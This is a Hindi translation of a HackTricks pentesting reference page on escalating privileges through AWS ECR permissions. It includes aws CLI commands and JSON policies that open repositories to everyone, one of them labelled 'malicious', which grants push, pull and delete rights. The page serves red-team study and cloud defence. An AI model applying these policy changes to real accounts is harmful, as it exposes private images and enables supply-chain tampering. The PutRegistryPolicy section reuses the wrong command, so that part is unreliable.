AWS - ECR Privesc

Reading time: 4 minutes

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

ECR

ecr:GetAuthorizationToken,ecr:BatchGetImage

एक हमलावर जिसके पास ecr:GetAuthorizationToken और ecr:BatchGetImage हैं, वह ECR में लॉगिन कर सकता है और इमेज डाउनलोड कर सकता है।

इमेज डाउनलोड करने के तरीके के बारे में अधिक जानकारी के लिए:

AWS - ECR Post Exploitation

संभावित प्रभाव: ट्रैफिक में संवेदनशील जानकारी को इंटरसेप्ट करके अप्रत्यक्ष प्रिवेस्क।

ecr:GetAuthorizationToken, ecr:BatchCheckLayerAvailability, ecr:CompleteLayerUpload, ecr:InitiateLayerUpload, ecr:PutImage, ecr:UploadLayerPart

एक हमलावर जिसके पास ये सभी अनुमतियाँ हैं, ECR में लॉगिन कर सकता है और इमेज अपलोड कर सकता है। यह उन अन्य वातावरणों में प्रिविलेज बढ़ाने के लिए उपयोगी हो सकता है जहाँ ये इमेज उपयोग की जा रही हैं।

नई इमेज अपलोड करने/एक को अपडेट करने के तरीके के लिए, देखें:

AWS - EKS Enum

ecr-public:GetAuthorizationToken, ecr-public:BatchCheckLayerAvailability, ecr-public:CompleteLayerUpload, ecr-public:InitiateLayerUpload, ecr-public:PutImage, ecr-public:UploadLayerPart

पिछले अनुभाग की तरह, लेकिन सार्वजनिक रिपॉजिटरी के लिए।

ecr:SetRepositoryPolicy

एक हमलावर जिसके पास यह अनुमति है, वह रिपॉजिटरी नीति को बदल सकता है ताकि वह खुद को (या यहां तक कि सभी को) पढ़ने/लिखने की अनुमति दे सके।
उदाहरण के लिए, इस उदाहरण में सभी को पढ़ने की अनुमति दी गई है।

bash
aws ecr set-repository-policy \
--repository-name <repo_name> \
--policy-text file://my-policy.json

my-policy.json की सामग्री:

json
{
"Version": "2008-10-17",
"Statement": [
{
"Sid": "allow public pull",
"Effect": "Allow",
"Principal": "*",
"Action": [
"ecr:BatchCheckLayerAvailability",
"ecr:BatchGetImage",
"ecr:GetDownloadUrlForLayer"
]
}
]
}

ecr-public:SetRepositoryPolicy

पिछले अनुभाग की तरह, लेकिन सार्वजनिक रिपॉजिटरी के लिए।
एक हमलावर ECR सार्वजनिक रिपॉजिटरी की रिपॉजिटरी नीति को संशोधित कर सकता है ताकि अनधिकृत सार्वजनिक पहुंच प्रदान की जा सके या अपनी विशेषाधिकारों को बढ़ा सके।

bash
bashCopy code# Create a JSON file with the malicious public repository policy
echo '{
"Version": "2008-10-17",
"Statement": [
{
"Sid": "MaliciousPublicRepoPolicy",
"Effect": "Allow",
"Principal": "*",
"Action": [
"ecr-public:GetDownloadUrlForLayer",
"ecr-public:BatchGetImage",
"ecr-public:BatchCheckLayerAvailability",
"ecr-public:PutImage",
"ecr-public:InitiateLayerUpload",
"ecr-public:UploadLayerPart",
"ecr-public:CompleteLayerUpload",
"ecr-public:DeleteRepositoryPolicy"
]
}
]
}' > malicious_public_repo_policy.json

# Apply the malicious public repository policy to the ECR Public repository
aws ecr-public set-repository-policy --repository-name your-ecr-public-repo-name --policy-text file://malicious_public_repo_policy.json

संभावित प्रभाव: ECR सार्वजनिक भंडार तक अनधिकृत सार्वजनिक पहुंच, जिससे किसी भी उपयोगकर्ता को छवियों को पुश, पुल या हटाने की अनुमति मिलती है।

ecr:PutRegistryPolicy

इस अनुमति के साथ एक हमलावर पॉलिसी को बदल सकता है ताकि वह अपने लिए, अपने खाते के लिए (या यहां तक कि सभी के लिए) पढ़ने/लिखने की पहुंच प्रदान कर सके।

bash
aws ecr set-repository-policy \
--repository-name <repo_name> \
--policy-text file://my-policy.json

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें